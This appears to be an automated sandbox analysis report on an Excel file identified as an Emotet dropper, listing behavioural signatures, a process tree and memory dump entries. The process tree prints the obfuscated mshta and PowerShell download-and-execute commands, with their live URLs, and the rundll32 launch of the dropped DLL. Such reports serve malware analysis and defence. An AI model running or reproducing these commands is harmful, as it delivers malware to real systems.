Analysis

  • max time kernel
    4265058s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220112
  • submitted
    17/01/2022, 23:28

General

  • Target
    f403319e2d4811db7ed4abb114b225f9.xls
  • Size 128KB
  • Sample220117-3f1cwaecgp
  • SHA256 5feb30d01fb35d5fde34eb531e533bbfe6870e26612f2b397214636aed65988d
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://0xb907d607/cc.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://185.7.214.7/PP91.PNG

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 4 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 4 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 8 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 5 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\f403319e2d4811db7ed4abb114b225f9.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:660
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:860
      • C:\Windows\system32\mshta.exe
        mshta http://0xb907d607/cc.html
        3⤵
        • Blocklisted process makes network request
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:3764
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/PP91.PNG'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3220
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:3876
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:3960
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:2600
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Bdqsty\xbtn.kfj",SiMPRm
                  8⤵
                  • Loads dropped DLL
                  • Suspicious use of WriteProcessMemory
                  PID:4004
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Bdqsty\xbtn.kfj",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Loads dropped DLL
                    • Suspicious behavior: EnumeratesProcesses
                    PID:2792
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 3764 -s 1724
          4⤵
          • Program crash
          • Checks processor information in registry
          • Enumerates system info in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:1292
  • C:\Windows\system32\MusNotification.exe
    C:\Windows\system32\MusNotification.exe
    1⤵
    • Checks processor information in registry
    • Suspicious use of AdjustPrivilegeToken
    PID:636
  • C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -pss -s 360 -p 3764 -ip 3764
    1⤵
    • Suspicious use of NtCreateProcessExOtherParentProcess
    • Suspicious use of WriteProcessMemory
    PID:2636

Network

        MITRE ATT&CK Enterprise v6

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        Downloads

        memory/660-149-0x0000018E32410000-0x0000018E32412000-memory.dmp

        memory/660-153-0x0000018E32410000-0x0000018E32412000-memory.dmp

        memory/660-140-0x0000018E32410000-0x0000018E32412000-memory.dmp

        memory/660-141-0x0000018E32410000-0x0000018E32412000-memory.dmp

        memory/660-142-0x0000018E32410000-0x0000018E32412000-memory.dmp

        memory/660-143-0x0000018E32410000-0x0000018E32412000-memory.dmp

        memory/660-144-0x0000018E32410000-0x0000018E32412000-memory.dmp

        memory/660-145-0x0000018E32410000-0x0000018E32412000-memory.dmp

        memory/660-146-0x0000018E32410000-0x0000018E32412000-memory.dmp

        memory/660-147-0x0000018E32410000-0x0000018E32412000-memory.dmp

        memory/660-148-0x0000018E32410000-0x0000018E32412000-memory.dmp

        memory/660-139-0x0000018E32410000-0x0000018E32412000-memory.dmp

        memory/660-150-0x0000018E32410000-0x0000018E32412000-memory.dmp

        memory/660-151-0x0000018E32410000-0x0000018E32412000-memory.dmp

        memory/660-134-0x00007FFD02670000-0x00007FFD02680000-memory.dmp

        memory/660-138-0x0000018E32410000-0x0000018E32412000-memory.dmp

        memory/660-215-0x0000018E32410000-0x0000018E32414000-memory.dmp

        memory/660-155-0x0000018E32410000-0x0000018E32412000-memory.dmp

        memory/660-156-0x0000018E32410000-0x0000018E32412000-memory.dmp

        memory/660-158-0x0000018E32410000-0x0000018E32412000-memory.dmp

        memory/660-157-0x0000018E32410000-0x0000018E32412000-memory.dmp

        memory/660-159-0x0000018E32410000-0x0000018E32414000-memory.dmp

        memory/660-214-0x0000018E32410000-0x0000018E32414000-memory.dmp

        memory/660-212-0x0000018E32410000-0x0000018E32414000-memory.dmp

        memory/660-213-0x0000018E32410000-0x0000018E32414000-memory.dmp

        memory/660-137-0x00007FFD02670000-0x00007FFD02680000-memory.dmp

        memory/660-136-0x00007FFD02670000-0x00007FFD02680000-memory.dmp

        memory/660-133-0x00007FFD02670000-0x00007FFD02680000-memory.dmp

        memory/660-135-0x00007FFD02670000-0x00007FFD02680000-memory.dmp

        memory/2600-186-0x0000000004E81000-0x0000000004EA3000-memory.dmp

        memory/2600-194-0x00000000051F1000-0x0000000005213000-memory.dmp

        memory/2600-190-0x0000000005071000-0x0000000005093000-memory.dmp

        memory/2600-188-0x0000000005011000-0x0000000005033000-memory.dmp

        memory/2600-184-0x0000000004C91000-0x0000000004CB3000-memory.dmp

        memory/2600-182-0x0000000004601000-0x0000000004623000-memory.dmp

        memory/2792-200-0x0000000002C21000-0x0000000002C43000-memory.dmp

        memory/2792-210-0x0000000004E41000-0x0000000004E63000-memory.dmp

        memory/2792-208-0x0000000004D51000-0x0000000004D73000-memory.dmp

        memory/2792-206-0x0000000004C71000-0x0000000004C93000-memory.dmp

        memory/2792-204-0x0000000004C11000-0x0000000004C33000-memory.dmp

        memory/2792-202-0x0000000004A31000-0x0000000004A53000-memory.dmp

        memory/3220-164-0x0000020E796B0000-0x0000020E796B2000-memory.dmp

        memory/3220-169-0x0000020E7B420000-0x0000020E7B422000-memory.dmp

        memory/3220-165-0x0000020E796B0000-0x0000020E796B2000-memory.dmp

        memory/3220-172-0x0000020E7B950000-0x0000020E7B994000-memory.dmp

        memory/3220-171-0x0000020E7B426000-0x0000020E7B428000-memory.dmp

        memory/3220-167-0x0000020E796B0000-0x0000020E796B2000-memory.dmp

        memory/3220-170-0x0000020E7B423000-0x0000020E7B425000-memory.dmp

        memory/3220-163-0x0000020E796B0000-0x0000020E796B2000-memory.dmp

        memory/3220-168-0x0000020E796B0000-0x0000020E796B2000-memory.dmp

        memory/3220-162-0x0000020E796B0000-0x0000020E796B2000-memory.dmp

        memory/3220-166-0x0000020E7B3C0000-0x0000020E7B3E2000-memory.dmp

        memory/3220-181-0x0000020E7BA20000-0x0000020E7BA96000-memory.dmp

        memory/3764-160-0x000001C36BF98000-0x000001C36BFA0000-memory.dmp

        memory/3960-177-0x0000000004821000-0x0000000004843000-memory.dmp

        memory/3960-178-0x0000000004843000-0x0000000004844000-memory.dmp

        memory/4004-196-0x0000000002B91000-0x0000000002BB3000-memory.dmp